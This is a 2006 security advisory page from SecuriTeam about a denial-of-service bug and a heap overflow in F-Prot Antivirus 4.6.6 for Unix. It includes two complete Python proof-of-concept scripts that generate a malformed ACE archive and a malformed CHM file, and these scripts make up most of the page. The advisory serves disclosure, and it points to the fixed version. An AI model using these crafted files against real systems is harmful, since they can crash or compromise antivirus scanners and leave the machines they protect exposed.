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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	F-Prot Antivirus Heap Overflow and DoS 7 Dec. 2006    Summary Two vulnerabilities in F-Prot Antivirus 4.6.6 for Unix platforms could allow a remote attacker to cause a DoS or execute an arbitrary code.   Credit: The original article can be found at: http://gleg.net/fprot.txt Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner 1. ACE file Denial of Service When parsing a specially crafted ACE compressed file F-Prot Antivirus will enter in an infinite loop. See fprot1.py for more details. 2. CHM file heap overflow When parsing a specially crafted CHM file a heap overflow will occur in F-Prot Antivirus. See fprot2.py for more details. Vendor Status: Update to F-Prot version 4.6.7: http://www.f-prot.com/news/gen_news/061201_release_unix467.html Exploits: # fprot1.py - trivial proof of concept code for F-Prot 4.6.6 .ACE DoS # # Copyright (c) 2006 Evgeny Legerov # # Permission to use, copy, modify, and distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. # # To test this code on Linux: # # create ACE compressed file # $ ./fprot1.py > 1.ace # $ f-prot 1.ace import sys import struct ACE="""  58 c5 31 00 00 00 90 2a 2a 41 43 45 2a 2a 14 14  02 00 31 12 82 33 b6 45 97 7d 00 00 00 00 16 2a  55 4e 52 45 47 49 53 54 45 52 45 44 20 56 45 52  53 49 4f 4e 2a 6c 28 2c 00 01 01 00 d0 ff ff ff  00 00 00 00 41 42 43 44 41 42 43 44 00 00 00 00  02 05 41 41 41 41 0d 00 41 41 41 41 41 41 41 41  41 41 41 41 41 """ s = "" for i in [chr(int(i, 16)) for i in ACE.split(" ") if len(i.strip()) > 0]:         s += i sys.stdout.write(s) # fprot2.py - trivial proof of concept code for F-Prot 4.6.6 .CHM heap # overflow # # Copyright (c) 2006 Evgeny Legerov # # Permission to use, copy, modify, and distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. # # $ ./fprot2.py > 1.chm # $ f-prot 1.chm import sys import struct s="" s+="ITSF" # signature s+=struct.pack("<L",3) # version s+=struct.pack("<L",96) # header_len s+=struct.pack("<L",1) # unknown s+=struct.pack("<L",0x41424344) # last_modified s+=struct.pack("<L",0x419) # lang_id s+="A"*16 #dir_clsid s+="B"*16 #stream_clsid s+=struct.pack("<L",96) + "\x00" * 4 #sec0_offset s+=struct.pack("<L",24) + "\x00" * 4 #sec0_len s+=struct.pack("<L",120) + "\x00" *4 #dir_offset s+=struct.pack("<L",4180) + "\x00" * 4 #dir_len s+=struct.pack("<L",4300) + "\x00"*4 #data_offset s+="A"*24 s+="ITSP" s+=struct.pack("<L", 1) # version s+=struct.pack("<L",0x54) # header_len s+=struct.pack("<L", 0xa) # unknown s+=struct.pack("<L",1000) # block_len - BUG? s+=struct.pack("<L",2) # blockidx s+=struct.pack("<L", 1) # index_depth s+=struct.pack("<L", -1) # index_root s+=struct.pack("<L",0) # index_head s+=struct.pack("<L",0) # index_tail s+=struct.pack("<L", -1) # unknown2 s+=struct.pack("<L",1) # num_blocks s+=struct.pack("<L", 1033) # lang_id s+="A"*32 s+="B"*10000 sys.stdout.write(s)  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability Insight Control for Linux Multiple Vulnerabilities HP-UX Running NFS/ONCplus Denial of Service Vulnerability HP-UX Running BIND Denial of Service Vulnerability 2011 HP-UX Running XNTP Denial of Service Vulnerability HP-UX Denial of Service Vulnerability Webkit Detached Body Element Code Execution Vulnerability Mac OS X Compact Font Format Decoder Code Execution Vulnerability WebKit WBR Tag Removal Code Execution Vulnerability Webkit Undefined DOM Prototype Attach Code Execution Vulnerability Apple HFS Information Disclosure Vulnerability XPDF arbitrary Arbitrary Code Execution Vulnerabilities Hewlett-Packard Data Protector Client EXEC_CMD omni_chk_ds.sh Code Execution Vulnerability Red Hat OpenJDK IcedTea6 ClassLoader Code Execution Vulnerability HP-UX Apache Running Tomcat Servlet Engine Remote Modification and Denial of Service Vulnerabilities  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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